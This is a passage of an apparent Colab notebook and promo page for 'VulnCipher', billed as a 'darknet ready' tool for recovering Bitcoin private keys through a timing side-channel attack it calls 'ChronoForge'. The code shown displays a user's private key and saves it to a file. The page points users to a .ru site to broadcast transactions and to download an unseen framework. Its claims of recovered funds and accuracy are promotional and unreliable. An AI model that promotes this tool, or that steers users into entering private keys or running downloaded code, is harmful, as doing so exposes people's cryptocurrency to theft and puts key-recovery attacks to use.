        output_text += "<div style='display: grid; grid-template-columns: 1fr 1fr; gap: 20px; margin-bottom: 25px;'>"
        output_text += f"<div><span class='terminal-info'>Private Key (WIF):</span><br><span class='address-value'>{private_key_wif.value}</span></div>"
        output_text += f"<div><span class='terminal-info'>Your BTC Address:</span><br><span class='address-value'>{pk.address()}</span></div>"
        output_text += "</div>"
        
        output_text += f"<div><span class='terminal-info'>Recipient Address:</span><br><span class='address-value'>{recipient_address.value}</span></div>"
        
        output_text += "</div>"
        
        output_text += "<div class='transaction-divider'>UTXO DETAILS</div>"
        
        output_text += "<div style='display: grid; grid-template-columns: 1fr 1fr; gap: 20px; margin-bottom: 25px;'>"
        output_text += f"<div><span class='terminal-info'>UTXO TXID:</span><br><span class='hex-value'>{utxo_txid.value}</span></div>"
        output_text += f"<div><span class='terminal-info'>UTXO Index:</span><br><span class='hex-value'>{utxo_index.value}</span></div>"
        output_text += f"<div><span class='terminal-info'>UTXO Value:</span><br><span class='address-value'>{int(utxo_value.value):,} satoshi</span></div>"
        output_text += "</div>"
        
        output_text += "<div class='transaction-divider'>TRANSACTION PARAMETERS</div>"
        
        output_text += "<div style='display: grid; grid-template-columns: repeat(3, 1fr); gap: 20px; margin-bottom: 25px;'>"
        output_text += f"<div><span class='terminal-info'>Send Amount:</span><br><span class='hex-value'>{int(send_amount.value):,} satoshi</span></div>"
        output_text += f"<div><span class='terminal-info'>Transaction Fee:</span><br><span class='hex-value'>{int(fee.value):,} satoshi</span></div>"
        output_text += f"<div><span class='terminal-success'>Change Returned:</span><br><span class='address-value'>{change_amount:,} satoshi</span></div>"
        output_text += "</div>"
        
        output_text += "<div class='transaction-divider'>OP_RETURN MESSAGE</div>"
        
        output_text += "<div style='background: rgba(20, 24, 41, 0.6); padding: 20px; border-radius: 3px; margin-bottom: 25px;'>"
        output_text += f"<div><span class='terminal-info'>TEXT CONTENT:</span><br><span class='hex-value'>{message.value}</span></div>"
        output_text += f"<div style='margin-top: 15px;'><span class='terminal-info'>HEX ENCODED:</span><br><span class='hex-value'>{message.value.encode('utf-8').hex()}</span></div>"
        output_text += f"<div style='margin-top: 15px;'><span class='terminal-info'>SIZE:</span> <span class='hex-value'>{len(message.value.encode('utf-8'))} bytes</span></div>"
        output_text += "</div>"
        
        output_text += "<div class='transaction-divider'>RAW TRANSACTION (HEX)</div>"
        
        output_text += "<div class='code-block' style='margin: 20px 0;'>"
        # Split hex into lines of 64 chars for readability
        for i in range(0, len(raw_tx_hex), 64):
            output_text += f"{raw_tx_hex[i:i+64]}"
        output_text += "</div>"
        
        # Save to file
        with open('VulnCipher_RawTX_OP_RETURN.txt', 'w') as f:
            f.write("=== VULNCIPHER BITCOIN TRANSACTION ===\\n")
            f.write(f"Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\\n")
            f.write(f"Network: {'Testnet' if use_testnet.value else 'Mainnet'}\\n\\n")
            f.write(f"Private Key (WIF): {private_key_wif.value}\\n")
            f.write(f"Sender Address: {pk.address()}\\n")
            f.write(f"Recipient Address: {recipient_address.value}\\n")
            f.write(f"UTXO TXID: {utxo_txid.value}\\n")
            f.write(f"UTXO Index: {utxo_index.value}\\n")
            f.write(f"UTXO Value: {int(utxo_value.value)} satoshi\\n")
            f.write(f"Send Amount: {int(send_amount.value)} satoshi\\n")
            f.write(f"Transaction Fee: {int(fee.value)} satoshi\\n")
            f.write(f"Change Returned: {change_amount} satoshi\\n")
            f.write(f"OP_RETURN Message: {message.value}\\n")
            f.write(f"Message Hex: {message.value.encode('utf-8').hex()}\\n\\n")
            f.write("=== RAW TRANSACTION HEX ===\\n")
            f.write(raw_tx_hex)
        
        output_text += f"<div style='background: rgba(0, 255, 65, 0.1); padding: 15px; border: 1px solid var(--neon-lime); border-radius: 3px; margin: 25px 0;'>"
        output_text += f"<span class='terminal-success'>✓ Transaction saved to file: <strong>VulnCipher_RawTX_OP_RETURN.txt</strong></span>"
        output_text += "</div>"
        
        output_text += "<div class='transaction-divider'>BROADCAST TRANSACTION</div>"
        
        output_text += "<div style='text-align: center; margin: 25px 0; padding: 20px; background: rgba(0, 217, 255, 0.05); border: 1px solid var(--neon-cyan); border-radius: 3px;'>"
        output_text += "<span class='terminal-info'>Broadcast this transaction using VulnCipher API:</span><br><br>"
        output_text += "<a href='https://vulncipher.ru/transaction.php' target='_blank' style='font-size: 14px;'>"
        output_text += "https://vulncipher.ru/transaction.php"
        output_text += "</a>"
        output_text += "</div>"
        
        output_text += "<div style='text-align: center; margin-top: 30px; padding-top: 20px; border-top: 1px dashed var(--neon-magenta);'>"
        output_text += "<span class='terminal-success'>⏳ TRANSACTION GENERATION COMPLETE • READY FOR BROADCAST</span>"
        output_text += "</div>"
        
        # Convert and display
        display(HTML(f"<div class='terminal-output'>{output_text}</div>"))
        
        # Success notification
        display(HTML("""
        <div style="text-align: center; margin: 30px 0; padding: 25px; background: linear-gradient(135deg, rgba(0, 255, 65, 0.1), rgba(0, 217, 255, 0.1)); border: 2px solid var(--neon-lime); border-radius: 3px; box-shadow: 0 0 30px rgba(0, 255, 65, 0.3);">
            <div style="display: flex; align-items: center; justify-content: center; gap: 15px; margin-bottom: 10px;">
                <span class="status-indicator status-online" style="width: 12px; height: 12px;"></span>
                <span style="color: var(--neon-lime); font-size: 18px; font-family: var(--font-title); text-shadow: var(--glow-lime); letter-spacing: 2px;">
                    VULNCIPHER OPERATION SUCCESSFUL
                </span>
            </div>
            <div style="color: var(--text-secondary); font-size: 13px; font-family: var(--font-sub);">
                Transaction generated and saved. Ready for blockchain broadcast.
            </div>
        </div>
        """))
        
    except Exception as e:
        update_progress(0)
        error_text = f"""
        <div style="text-align: center; margin: 30px 0; padding: 25px; background: linear-gradient(135deg, rgba(255, 0, 64, 0.1), rgba(255, 0, 255, 0.1)); border: 2px solid var(--neon-red); border-radius: 3px; box-shadow: 0 0 30px rgba(255, 0, 64, 0.3);">
            <div style="display: flex; align-items: center; justify-content: center; gap: 15px; margin-bottom: 15px;">
                <span class="status-indicator status-error" style="width: 12px; height: 12px;"></span>
                <span class="terminal-error" style="font-size: 16px;">
                    TRANSACTION GENERATION FAILED
                </span>
            </div>
            <div class="terminal-error" style="font-size: 13px; font-family: var(--font-code); padding: 15px; background: rgba(255, 0, 64, 0.05); border-radius: 2px; margin-top: 10px;">
                ERROR: {str(e)}
            </div>
            <div style="color: var(--text-secondary); font-size: 12px; margin-top: 15px; font-family: var(--font-sub);">
                Check your inputs and try again.
            </div>
        </div>
        """
        display(HTML(error_text))

submit_button.on_click(on_submit_clicked)

# Add some JavaScript for interactive effects
display(HTML("""
<script>
// Add interactive glitch effect to header on hover
document.addEventListener('DOMContentLoaded', function() {
    const headers = document.querySelectorAll('.terminal-header');
    headers.forEach(header => {
        header.addEventListener('mouseenter', function() {
            this.style.animation = 'glitch 0.3s infinite';
        });
        header.addEventListener('mouseleave', function() {
            this.style.animation = 'glitch 5s infinite';
        });
    });
});
</script>
"""))

# Final initialization message
display(HTML("""
<div style="text-align: center; margin-top: 40px; padding: 20px; border-top: 1px solid rgba(0, 217, 255, 0.2);">
    <div style="color: var(--text-muted); font-size: 11px; font-family: var(--font-sub); letter-spacing: 1px;">
        <span class="status-indicator status-online"></span> VULNCIPHER FRAMEWORK v2.1 • 
        <span style="color: var(--neon-cyan);">CHRONOFORGE ATTACK IMPLEMENTATION</span> • 
        <span style="color: var(--neon-magenta);">DARKNET READY</span>
    </div>
    <div style="color: var(--text-muted); font-size: 10px; font-family: var(--font-sub); margin-top: 10px;">
        Based on CryptoDeepTech research: $188,775 Bitcoin Recovery via Timing Side-Channel
    </div>
</div>
"""))
        

🚀 How to Use This Code

1️⃣ Install Dependencies

First, run the installation commands in Google Colab to install all required Python libraries.

2️⃣ Download Framework

Download and extract the VulnCipher framework using the wget and unzip commands.

3️⃣ Paste Code

Copy the entire Python code above and paste it into a new Colab notebook cell.

4️⃣ Run & Interact

Execute the cell and interact with the Cyberpunk-styled interface to generate Bitcoin transactions.

📚 Scientific Research Context

🎯 ChronoForge Attack Methodology

The VulnCipher framework implements the ChronoForge Attack methodology documented in CryptoDeepTech research papers. This attack exploits timing side-channels in vulnerable ECDSA implementations to recover Bitcoin private keys.

$188,775

Recovered Funds

94.5%

Recovery Accuracy

Weak Bits After CPA

100,000

Timing Samples

🔬 Technical Implementation

// Correlation Power Analysis (CPA) for key bit recovery
T_i = T_double + d_i · T_add + ε_i
T_total = 256 · T_double + H(d) · T_add + noise

// Pearson correlation for each hypothesis
r₀(k) = corr(T, H₀(k))
r₁(k) = corr(T, H₁(k))

// Bit decision rule
d̂_k = 1, if r₁(k) > r₀(k); otherwise 0

// Confidence metric used by VulnCipher
C(k) = ( r_d̂_k(k) − r_1−d̂_k(k) ) / ( |r_d̂_k(k)| + |r_1−d̂_k(k)| )
        

⚡ Key Features of VulnCipher

Feature	Description	Benefit
Timing Collection Module	Collects precise timing samples using hardware timers	High-resolution data acquisition
Preprocessing Engine	Cleans and normalizes timing traces (z-score, 3σ rule)	Noise reduction and signal enhancement
Statistical Analysis Engine	Performs correlation analysis and SNR estimation	Accurate key bit recovery
Key Recovery Module	Assembles key candidates and performs local enumeration	Efficient brute-force correction
Validation Module	Recomputes public key and Bitcoin address	Verification of recovered keys